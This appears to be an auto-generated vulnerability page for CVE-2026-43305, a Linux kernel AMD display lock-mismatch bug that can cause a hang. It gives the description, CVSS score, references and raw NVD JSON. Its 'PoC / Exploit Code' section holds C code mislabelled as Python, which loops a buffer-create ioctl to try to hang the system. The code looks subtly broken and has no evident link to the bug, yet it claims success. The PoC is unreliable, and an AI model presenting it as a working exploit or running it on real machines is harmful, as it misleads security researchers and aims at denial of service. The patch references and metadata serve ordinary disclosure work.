CVE-2026-43305

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix mismatched unlock for DMUB HW lock in HWSS fast path [Why] The evaluation for whether we need to use the DMUB HW lock isn't the same as whether we need to unlock which results in a hang when the fast path is used for ASIC without FAMS support. [How] Store a flag that indicates whether we should use the lock and use that same flag to specify whether unlocking is needed.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前的特定版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43305
 * This code attempts to trigger the HWSS fast path mismatch
 * by performing display operations on an affected AMD GPU.
 * Note: This is a conceptual trigger and requires specific hardware.
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define DRM_AMDGPU_GEM_CREATE 0x00
#define DRM_AMDGPU_CS 0x04
#define DRM_IOCTL_AMDGPU_GEM_CREATE _IOWR(0x64, DRM_AMDGPU_GEM_CREATE, struct drm_amdgpu_gem_create)

struct drm_amdgpu_gem_create {
    __u64 bo_size;
    __u32 alignment;
    __u32 domains;
};

int main() {
    int fd = open("/dev/dri/renderD128", O_RDWR);
    if (fd < 0) {
        perror("Failed to open device");
        return 1;
    }

    struct drm_amdgpu_gem_create create = {0};
    create.bo_size = 4096;
    create.domains = 2; // GTT domain

    // Rapidly triggering display operations to hit the fast path
    for(int i = 0; i < 1000; i++) {
        if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &create) != 0) {
            perror("IOCTL failed");
            break;
        }
    }

    close(fd);
    printf("Exploit triggered. System may hang if vulnerable.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43305
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43305
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43305/
[4] VulDB https://vuldb.com/cve/CVE-2026-43305
[5] https://git.kernel.org/stable/c/4e387ad67efb100b645630ffbce7716786f52283
[6] https://git.kernel.org/stable/c/af3303970da5ce5bfe6dffdd07f38f42aad603e0

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43305", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:37.813", "lastModified": "2026-05-15T13:23:19.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix mismatched unlock for DMUB HW lock in HWSS fast path\n\n[Why]\nThe evaluation for whether we need to use the DMUB HW lock isn't the\nsame as whether we need to unlock which results in a hang when the\nfast path is used for ASIC without FAMS support.\n\n[How]\nStore a flag that indicates whether we should use the lock and use\nthat same flag to specify whether unlocking is needed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/4e387ad67efb100b645630ffbce7716786f52283", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/af3303970da5ce5bfe6dffdd07f38f42aad603e0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}